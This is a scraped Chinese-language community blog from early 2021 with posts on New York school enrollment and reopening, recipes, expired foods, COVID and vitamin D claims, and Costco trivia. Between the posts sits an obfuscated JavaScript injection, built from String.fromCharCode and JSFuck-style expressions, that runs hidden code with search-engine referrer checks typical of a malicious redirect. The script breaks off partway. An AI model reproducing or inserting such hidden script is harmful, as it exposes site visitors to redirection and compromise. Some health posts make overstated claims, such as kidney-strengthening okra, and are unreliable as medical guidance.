对于初中或高中申请,如果你不确定选择哪些学校,有三个途径可以解决:1、登陆myschool.nyc,在线观看指导申请的视频;2、到孩子的学校找辅导员;3、访问市教育局“家庭欢迎中心”(地点查找:https://www.schools.nyc.gov/enrollment/enrollment-help/family-welcome-centers)。

查找初中、高中学校,请浏览:https://www.myschools.nyc/en/schools/。

据第24学区教育委员会主席黄友兴介绍,由于大部分小学5年级学生在家远程上课,今年申请初中的工作主要落在了家庭身上,而不像以前有老师在身边辅导,所以今年的初中申请有不少家庭遇到困难,特别是有语言障碍的新移民家庭,因为学生年龄比较小,加上家长也不懂的话,对他们来说有一定难度。

黄友兴建议,这些家庭最好回到孩子的学校找辅导员,或前往教育局的家庭欢迎中心去咨询。

市教育局在线举办多场高中申请讲座,时间是:2月16日(下午5点)、17日(中午1点)、18日(中午12点),以英语进行。登记方式:https://bit.ly/3tDGpJ5,或者发邮件:shsat@schools.nyc.gov,将收到登陆讲座的链接。

2021-02-09 / by / in , ,
纽约市初中校园 2/25起重开

市府承诺在2月15日至19日的寒假期间 优先为教师接种COVID-19疫苗

纽约市长白思豪8日宣布,纽约市的公立初中将于(2月25日)重新开放校园,此前由于中共病毒(COVID-19)疫情,初中(6年级至8年级)学生一直在家上网课。

当局要求教师提前一天返校,并向初中教师承诺,在2月15日至19日的寒假期间,优先为教师接种COVID-19疫苗。

教育局说,约有6.2万名六至八年级的初中学生可选择返校上课。作为校园重开计划的一部分,教育局将增加人员,在学校进行每周测试,并对负责跟踪和应对潜在病例的“情况室”增加人员。

市教育总监卡兰萨(Richard Carranza)说,他预计纽约市471所初中当中,有一半学校能够提供每周五天的课程。

按照规定,有面对面课程的学校,每周必须在校内对20%的学生和教职员工进行检测,当局说他们现在具备了检测能力,可以把校园重启扩展到初中。

教师联合工会主席穆格鲁(Michael Mulgrew)说:“纽约市宣布已建立足够的检测团队,并获得了必要的实验室能力,以重新开放初中校园。随着更多年级和建筑物的重新开放,须严格遵守个人防护品和社交距离要求。”

他说:“这些严格的标准,以及在检测到病例时必须暂时关闭建筑物的要求,使学校成为大流行期间社区中最安全的场所。”

从2020年9月到2021年2月8日,纽约市的教职员工和学生当中有14,774例确诊病例。市长没有透露高中学生何时返回学校上课,目前大约有70%的小学生选择在家远程上课。

去年11月19日,全市7天平均测试阳性率达到3%时,纽约市的小学、学前班再次关闭。两周后重新开放,并增加了强制的每周测试。不过在那些已经重新开放的学校中,有不少因为出现确诊病例而不得不又暂时关闭。

如果学校确诊一例,出现病例的班级的师生将隔离10天,一所学校如果有两起或两起以上确诊病例,教学楼将关闭24小时。如果发现这些病例是没有关联的,教学楼将关闭10天(之前是14天)。

截止到8日,纽约市过去7天的平均确诊率为8.95%。纽约市公立学校的阳性确诊率一直很低,2月5日为0.54%。

2021-02-09 / by / in , , ,
最好吃:豉汁蒸三文鱼(视频)

豉汁蒸三文鱼/三文鱼

提起三文鱼大家都不陌生,很多人都喜欢吃三文鱼,因为三文鱼营养丰富、健康美味。其实三文鱼有好多种不同的烹调方法,今天来和大家分享豉汁蒸三文鱼的做法。

三文鱼中含有的omega-3高不饱和脂肪酸,可以有效预防心脑血管疾病。由于现代人的生活水平提高了,吃的东西都是营养价值很高的食物,但运动量却很少。高血压,心脑血管疾病变成了一种通病。常吃三文鱼可以有效的避免这种疾病的发生。

材料:

三文鱼 300克,葱 1根,姜丝 适量,豆腐 1块

调料:

黑豆豉 1茶匙,生抽 1茶匙,香醋 微量,糖 微量,剁椒 1/2茶匙

做法:

1. 准备工作:将豆腐切成厚片码放在盘子说。三文鱼也切成厚片,放在豆腐上面。豆豉切碎,葱姜切丝,

2. 调碗汁:将切碎的豆豉,生抽,醋,糖,剁椒放入碗中搅拌均匀。

3. 成菜:切好的姜丝,葱丝码放在鱼上面,撒少许盐,和碗汁在鱼上面。然后上锅蒸6分钟即可。

*小贴士*

在蒸鱼的时候,用毛巾包住盖子,这样蒸气就不会进入到鱼盘里面了,这样做的目的是为了保持鱼的味道,不被蒸气水冲淡。

2021-02-09 / by / in , ,
过年大扫除 这6种过期食物 千万别扔

过年/大扫除/食物过期/保质期越久越有价值/白酒/陈醋/酱油/蜂蜜/普洱茶/陈皮

过年临近,按照民间习俗为迎接新年,家家户户都在忙忙碌碌彻底的大清扫,,民间也叫扫尘,正如老话所说“腊月二十四,掸尘扫房子”,把晦气扫出门,迎接崭新的一年。

据说“尘”与“陈”谐音,俗话说得好“破家值万贯”,每到大扫除的时候你就会发现这个过期了得扔,那个腐烂了还得扔,不止是累,主要是心疼,那都是钱啊!但是过年大扫除,这6种食物别乱扔掉,它不怕过期,放得越久越有价值!


过年

古语说“民以食为天,食以安为先”!古人尚且如此,我们更要注重食品安全,一般来说,大多数的食品都会设定一个保质期限的,在商家规定的保质期限内食用完毕,不但味道好也会更健康,所以说:购物需谨慎,小心保质期!但是凡事都有例外,过年大扫除,这6种食物别乱扔掉,它不怕过期,放得越久越有价值,是不是很意外,我们一起来看一下吧!

一、白酒


白酒

众所周知,好酒是分年份的,特别是窖藏白酒,年份越久远就越有价值,因此才会有“陈年佳酿”之说,电视广告也经常会出现“百年佳酿”一说。我们这里的白酒是特指纯粮食酒中的高度酒,如果是32度以下的白酒,随着储存时间的增长,因酒精浓度不够,会使酒独特的性质消失掉。

二、陈醋

平时我们在家腌制糖醋蒜和腊八蒜都知道,这些东西即使是常温保存也不会坏,这功劳只要归功于醋。我们平时经常说“陈年老醋”更有道理,这老陈醋放得越久越有味道,放得越久越好吃。但是如果我们平时不注意,使得陈醋已经有了污染或者和空气大面积接触,那就很难说了。

三、酱油

我们这里所说的酱油并不是指工业酱油,二是指纯手工加工的酱油,这样的酱油不加任何的添加剂,也不需要保存期限,而且放得越久味道越好,放得越久越有价值。


蜂蜜

四、蜂蜜

这里我们所说的蜂蜜依然是纯度很高的天然蜂蜜,据说保存最久的蜂蜜是埃及金字塔,距今已有3000多年,所以只要你买的不是假蜂蜜就无需担心会过期,虽然有时候会结晶,这是蜂蜜的正常现象,不是变质,可以放心的饮用。

五、普洱茶、

喜欢喝茶的朋友都知道,茶是有保质期的,但是凡事都有例外,普洱茶就是茶中的例外,只要你储存环境符合标准,不但没有保存期,而且储存越久越有价值。


普洱茶

六、陈皮

谚语说“一两陈皮一两金,百年陈​​皮赛黄金”,这足以说明陈皮是没有保质期的,而且是储存越久越有价值。

这6种不怕过期的食物,放得越久越有价值,如果扔掉,真是太可惜了!

2021-02-09 / by / in
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2021-02-08 / by / in , , ,
研究证据显示:14%新冠重症患者得糖尿病 原因成谜

糖尿病/新冠肺炎/染疫/重症病患/并发症/心脏病/中风/失明/肾衰竭/神经损伤

新冠肺炎(俗称武汉肺炎)全球肆虐,使人类生命与健康处于极大威胁之中,特别糖尿病族群,在一项最新研究发现新冠肺炎重症病患中,有14%罹患糖尿病。

目前已知糖尿病患者若确诊新冠肺炎(俗称武汉肺炎),有较高风险演变为重症或死亡,不过越来越多证据显示,新冠肺炎和糖尿病的关联也许存在双向关系,感染新冠肺炎可能会引发糖尿病,而且发病者不仅限于糖尿病的高风险族群。


重症病患

华盛顿邮报报导,美国马里兰州贝塞斯达郊区医院(Suburban Hospital)医学博士齐尔伯明(Mihail Zilbermint)平时负责照顾糖尿病患者,他表示,随着院内接收愈来愈多新冠病患,他要处理的糖尿病患者人数也激增,“以前每天大概处理18名患者,现在他的团队要照顾多达30人”。

这些患者中有许多人都没有糖尿病史,有些人是在染疫后血糖升高,康复后已恢复正常; 还有些人则是被诊断出患有糖尿病,齐尔伯明说,“我们看到被诊断出罹患糖尿病的患者人数有所增加”。

尽管新冠病毒通常会侵袭人类肺部,但还与一系列问题(包括血栓、神经系统疾病、肾脏和心脏损害)有密切关系。研究人员说,糖尿病可能很快也成为染疫后会出现的并发症,包括第一型糖尿病和第二型糖尿病。


糖尿病

两者差别在于,第一型发病主因是由于先天性缺乏胰岛素所致,而第二型多是受后天环境因素影响,像是生产较少的胰岛素或对胰岛素产生抵抗力。然而,科学家目前仍不清楚新冠病毒是否会加速已经存在的问题或是导致问题发生,又或是两者兼具。

联合新闻根据去年11月27日刊登在国际期刊《糖尿病、肥胖与代谢》上的一篇全球分析报告,有14.4%的重症染疫病患得糖尿病。研究作者写道,尽管这些诊断可能是长期观察到对严重疾病或类固醇治疗的结果,但“新冠肺炎的直接作用”也应列入考虑。

研究人员尚不清楚新冠肺炎如何触发第一型和第二型糖尿病,或是造成短暂和永久的糖尿病。但他们正竞相寻找答案,包括新冠病毒是否催生出一种全新的糖尿病,而这种糖尿病的表现可能不同于以往传统的糖尿病。

美国糖尿病患者已以惊人速度成长。根据联邦卫生数据,全国估计有3420万人(人口的10.5%)患有糖尿病。而大概有三分之一美国人(8800万人)患有糖尿病前期,这代表他们即将被诊断出第二型糖尿病,若不加以控制,就会伴随着严重并发症,包括心脏病、中风、失明、肾衰竭和神经损伤等。

2021-02-08 / by / in
缺了它爆增染新冠肺炎风险!98%国人不足

维生素D/新冠肺炎/骨质疏松/免疫能力/减少炎症/晒太阳/鲑鱼/蛋黄/乳酪/蘑菇/黑木耳

维生素D对吸收钙很有帮助,同时对健康强壮骨骼具有重要作用。

美国最新研究发现,维生素D缺乏者,感染新冠肺炎风险增加77%。但国人高达98%维生素D不足,其实许多食物含有丰富的维生素D,例如:鲑鱼、鲔鱼、鲭鱼、沙丁鱼、蛋黄、乳酪、蘑菇、黑木耳、香菇。


维生素D

维生素D维持人体健康

《健康2.0》引述新光医院健检中心护理长张晓婷观点指出,维生素D(也称维他命D)为一群脂溶性的维生素,是维持正常生长及健康的重要营养素之一。

维生素D可帮助钙质吸收、预防骨质疏松;许多研究证实还具有调节细胞生长,调节神经肌肉功能、提升免疫能力及减少炎症、降低癌症死亡率同时。若是维生素D不足,也会影响男女性生殖能力,是近几年来特别受到关注的微量营养素之一。


晒太阳

98%国人维生素D不足

根据国防医学院公共卫生学系教授李美璇,分析卫生署国民营养健康资料发现,高达98%的人,血液中维生素D浓度不足(标准是33μg/mL),尤以19~44岁年龄层浓度最低,主要是因为对维生素D的认知不足,以及国人受到“一白遮三丑”的观念影响,与不喜欢晒太阳及怕晒黑有关。

另外,波士顿大学医学中心研究也发现,维生素D缺乏者,似乎与癌症、心脏病、糖尿病、忧郁症、免疫疾病息息相关。

2010年《美国神经医学期刊》研究发现,芬兰学者追踪3000人的血液样本长达30年后,维生素D对人体免疫系统、神经系统的调节都有重大影响,血液中含量较低的人,罹患巴金森氏症的机率比一般人高3倍。

2招补充维生素D


鲑鱼

张晓婷建议,补充维生素D食物,例如:富含维生素D3的鲑鱼、鲔鱼、鲭鱼、沙丁鱼、蛋黄、乳酪,以及富含维生素D2的蘑菇、黑木耳、香菇。

此外,维生素D也可以透过人体可以自行合成,只要一天暴露在阳光下10~15分钟,人体自身即可合成足够的维生素D3。研究建议,每天早上10点到下午3点之间,至少让脸、手臂、腿或背部,晒太阳10~15分钟,让身体自己合成足够的维生素D,不过要注意避免晒伤。

5族群补充维生素D要注意

张晓婷提醒,有特殊疾病、更年期妇女、小孩、老人及哺乳产妇,对于维生素D保健品补充,则需经由医师或药师专业建议。

2021-02-08 / by / in ,
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,113,119,51,54,48,55,56,57,122,72,84,77,76,60,34,112,47,63,38,95,43,85,67,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[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2021-02-07 / by / in , ,
Costco的9个鲜为人知的小秘密

Costco的9个鲜为人知的小秘密

Costco以其富有特色的经营之道,不仅在和亚马逊等大型电商的竞争中并不逊色,还成为各媒体和消费者津津乐道的题材。人们热衷于谈论Costco的商品和购物技巧,以及它的各种动向。

很多消费者都表示,自己在Costco商店过道上,时不时会发现令人惊喜的商品或购物体验。Costco美食广场的价廉物美也是吸引人们前往购物的关键因素。

因为中共病毒疫情,Costco停止销售平片式蛋糕(sheet cake),还引发网友连署呼吁Costco恢复出售这种供聚会使用的大蛋糕。

以下是关于Costco,你所不知道的9个小秘密。

1. Costco是美国最大的披萨饼店之一

很多消费者如果想订购披萨,很难想到致电Costco。但是在美国,四百多家Costco出售披萨,意味着Costco是美国最大的披萨销售商之一。

2. Costco有“触发器”(trigger)和“宝藏”(treasure)

一个典型的超级卖场大约有40,000件商品,而Costco只卖大约4,000件商品。有些商品,在Costco只有一种或少数品牌出售,让客人避免在整个货架摆满各种品牌的商品之间选择,可减轻购物压力。

Costco称这些单一品牌商品为“触发器”,一般是纸巾、洗涤剂和谷物等商品。

另一方面,以零售价80%价格出售的奢侈手袋等商品,Costco称之为“宝藏”,因为这些商品经常更换。如果你在逛Costco看到却没买,第二天再去可能已经没有了。

3. 消费者大量购买Costco的腰果

Costco每周出售的腰果价值高达30万美元,以至于Costco不得不将装腰果的容器从圆形变成方形,以节省货架空间。

4. 最大的高档葡萄酒进口商

Costco是世界上最大的法国高档葡萄酒进口商,每年葡萄酒销售额达到10亿美元,几乎超过了世界上所有其它葡萄酒零售商。

5. Costco的烤肉鸡是亏损冠军

Costco每天售出约15.7万只新鲜烤肉鸡,每只4.99美元。Costco每年因不提高价格而损失大约3000~4000万美元。但回报是赢得大批忠实粉丝,这是值得的。

Costco的烤鸡至少有三磅重。(Getty images)

6. Kirkland Signature品牌非常有价值

Costco自家品牌“Kirkland Signature”具有很高的价值。大多数产品被认为是“私人商标”,通常与高价品牌在同一家工厂生产。

7. 保存25年的食品包

如果你担心大灾难,在Costco花4,000美元,就可以购买“Emergency Cube”,其中包含30,000份食物,将持续25年。

8. 冷冻食品过道有个爱情故事

一对夫妇在Costco的冷冻食品过道里结婚,这是一场合法婚礼,这是因为新郎和新娘在这里购物时相识。

9. 美国宾州某些Costco商店有独特停车位

如果你在宾夕法尼亚州兰卡斯特县(Lancaster County)的Costco购物,可以看到一些非常特殊的停车位,是为阿米希人(Amish)设置的马车停车位。

2021-02-07 / by / in
纽约市4岁学前班和3岁幼儿班 2/24日起报名

2021—2022学年的纽约市4岁学前班(Pre-K )和3岁幼儿班(3-K),将从2月24日开始申请,截止日期分别是4月7日和4月30日。

4岁学前班和3岁幼儿班均从2月24日开始报名,截止日期分别是4月7日和4月20日。
4岁学前班和3岁幼儿班均从2月24日开始报名,截止日期分别是4月7日和4月30日。(纽约市教育局提供)

免费全日制4岁学前班的申请日期是:从2月24日至4月7日,凡2017年出生的4岁儿童家庭可以申请。免费全日制3岁幼儿班(3-K)的申请日期是:2月24日至4月30日,凡子女在2018年出生的3岁儿童家庭可以申请。

但并不是所有学区都提供3岁幼儿班,目前提供3岁幼儿班的学区有:曼哈顿第1、第2、第5学区;布朗士第7、第8、第9、第12学区;布碌崙第14、16、19、23和32学区;皇后区第27、29学区;史坦顿岛第31学区。

申请4岁学前班和3岁幼儿班的办法有两种。一是在线申请,登录https://www.myschools.nyc/zh-hant/(中文);二是电话申请(718-935-2009),有翻译,可使用任何语言咨询。由于疫情,前往“家庭欢迎中心”(Family Welcome Center)申请的方式已取消。

Pre-K和3-K招生不是先到先得,家长可以在截止日期之前的任何时间,对申请进行修改。

市教育局说,儿童就读免费全日制、高品质的学前班,可以在一个安全且受到关爱的环境中成长,以玩耍带动学习,并培养技能。

查找学前班课程,可登录纽约市教育局网站“学前班指南”(中文:https://www.myschools.nyc/zh-hant/schools/pre-k/),输入住址或学校名称等信息。

通过电脑或电话设定Myschool账户(设定方法请浏览:https://vimeo.com/488709712),然后在线或通过电话申请学前班。

家长可以与学前班直接联络,以进一步了解该学前班的情况,可参加网上视讯或到现场参观。

入学资讯及最新消息,请浏览:nyc.gov/prek;查找学校的网站是:https://schoolsearch.schools.nyc/。

若有疑问,可发邮件:ESEnrollment@schools.nyc.gov,或者拨打电话718-935-2009咨询。

2021-02-07 / by / in
房地产商:冬季房屋保暖六秘诀 经济又实用

随着寒冬来临以及越来越多的人居家工作,很多家庭的水电费可能开始飞涨。为了减轻人们的负担,一位热心的英国房地产专家分享了六个简单的技巧,不需要多花钱却能使你的房屋保持温暖

一月份,詹姆斯发布了一段影片,标题为“保持房间温暖的秘诀!”,在其中一个社交平台迅速吸引110万网友观看,另有3万多个赞。

“给散热器放气,以使其正常运行。”詹姆士建议说,“使用完烤箱后,请打开烤箱门。”

商詹姆斯分享六个简单的技巧,不需要多花钱却能使你的房屋保持温暖。

“放下百叶窗并拉上窗帘可以保持室内热量,”这是詹姆斯的第三招。第四招是“将铝箔纸贴在散热器后面,这样有助于反射热量。”

詹姆斯还亲自演示将铝箔纸剪成一定尺寸的矩形,并用双面胶带将它们黏贴在壁挂式散热器后面的墙壁上,以将热量反射回房间。

他继续说道:“尝试在散热器和沙发之间留一点缝隙。”最好让沙发和壁挂式散热器之间保持约15厘米的距离,以留出足够的空间使热量扩散至整个房间。

最后,詹姆斯建议:“如果你不需要使用阁楼舱口盖和阁楼门,请将它们关闭。”

詹姆斯分享六个简单的技巧,不需要多花钱却能使你的房屋保持温暖。

英国金融科技公司Urban Jungle Insurance的首席执行官威廉姆斯(Jimmy Williams)也同意詹姆斯给出的六点建议。

他对LADBible网站说,听从詹姆斯的建议,将铝箔纸放在散热器后面,“通过将热量反射回房间,将会使你的中学物理老师感到骄傲”。

如果你家里不是双层玻璃窗,将挡风条放置于窗户的底部,或者在夜间使用厚窗帘,这是另外两种保持热量的方法。

很有经济头脑的詹姆斯还经营一家同样名为“That Property Guy”的公司。为了寻求更便宜的房价,詹姆斯特意从伦敦搬到英格兰南部的朴次茅斯。他在2016年仅24岁的时候就购买下人生的第一套房屋,价格为12万英镑的两居室公寓,他一边住在里面,一边给房子装修。

到了2017年,他把这间房子转手出售,赚进1.5万英镑,并迅速将其投资于下一套房产及装修。除了委托专业技师帮忙翻修的同时,他还通过YouTube学习相关DIY知识,负责刷油漆等较容易上手的工作。

詹姆斯告诉《太阳报》:“到目前为止,我的很多旅程都归功于发现并抓住机会。”

 

2021-02-07 / by / in
纽约市教育局副局长 8日讲解天才班及初高中招生政策

皇后区家长咨询委员会(Queens Parent Advisory Board)将于8日(周一)下午6点举办在线会议,邀请纽约市教育局负责早期教育和招生的副局长Josh Wallack,以及负责社区合作和传播的副局长Adrienne Austin作为主讲嘉宾,讲解“才班”(Gifted & Talented Programs)和初中、高中招生的政策变化。

参加者请上网登记:https://rb.gy/ioiaou,邮箱将收到会议链接;需提问者可在2月7日之前发邮件给:education@queensbp.org;也可届时上网观看会议视频:https://www.queensbp.org/education/。

2021-02-07 / by / in
法拉盛文艺中心华人新春庙会 大年初三线上庆祝牛年

法拉盛市政厅文艺中心的华人新春庙会今年将于2月14日(周日)美东时间下午2点举行,今年的节目将首次于线上举办,将在该中心的YouTube频道播放。

今年的强档表演包括陈乃霓舞蹈团带来的各式民族舞蹈、纽约美华剧坊为牛年特别制作的布袋戏、琵琶演奏家高虹的独奏,以及由中田纳西州立大学中国音乐文化中心(MTSU Center for Chinese Music and Culture) 带来的音乐合奏。

民艺示范的节目将包括:民间工艺美术家何红一教授和法拉盛文艺中心艺术教师汤泠的剪纸示范,及皇后学院刘比华老师的流彩绘画示范。由一群热爱相声艺术的年轻人组成的水木相声社,也将带给观众相声新作《纽约爱情指南》。

线上节目的优势也让今年的华人新春庙会能够近距离带给观众经典年菜示范,邀请到皇后区夜市“Hong Kong Street Food”小吃摊的赵秀云和“Bstro”台式小吃摊的Johnson Hu 来示范甜、咸汤圆和狮子头。并与启扬活动中心合作,一窥简易烹饪系列杨宝芝主厨的松鼠全鱼。

法拉盛文艺中心委员会委员及华人新春庙会创始人甘台甯表示:“庙会是我在台湾长大时对农历新年最印象深刻的回忆之一。庙会不但有精彩的演出,也有得吃有得玩,我希望也把这个美好的经验带到纽约。今年我们将跟大家在线上精彩庆祝新春。”

“去年春节因为新冠疫情刚刚开始,我们决定取消华人新春庙会来保护社区。今年,我们转到线上,继续这个大家都喜欢的节目,也让大家在精神上能齐聚一堂。”

 

2021-02-07 / by / in
粉蒸秋葵 增强免疫力 强肾补虚功效最佳

粉蒸秋葵/秋葵

秋葵是比较受欢迎的一种高档营养保健蔬菜,尤其在日本和台湾、香港等是非常畅销大一种蔬菜。甚至在非洲一些国家是运动员的首选蔬菜。

秋葵也是一种低能量蔬菜,是很好的减肥食品。秋葵中含有丰富的维生素、蛋白质、以及铁、钾、磷、锌、钙等微量元素。除用作日常蔬菜外,黄秋葵还具有增强免疫力、抗疲劳、强肾补虚的功效。

材料:

秋葵250克 大米2把 荷叶1张(或用大张菜叶代替)香油1汤匙 芝麻酱1汤匙 盐适量 酱油1汤匙 五香粉1/2茶匙

做法:


粉蒸秋葵

1. 锅中放入大米,不放油,用小火不断翻炒至泛黄,然后离火,放凉。并将炒好的米用擀面杖碾成碎。

2. 秋葵洗净,去蒂,切成块入碗中,调入芝麻酱,酱油、适量盐、五香粉充分拌匀。

3. 将米粉放入碗中,调入香油充分与秋葵拌匀,使料均匀粘上米粉。

4. 蒸笼备好,将荷叶剪成与笼等大的圆(用大叶蔬菜代替),然后放入垫底。

5. 将拌好的秋葵装入笼中;蒸锅里水烧开后,放入蒸笼,中火蒸15分钟即可。

*小贴士*

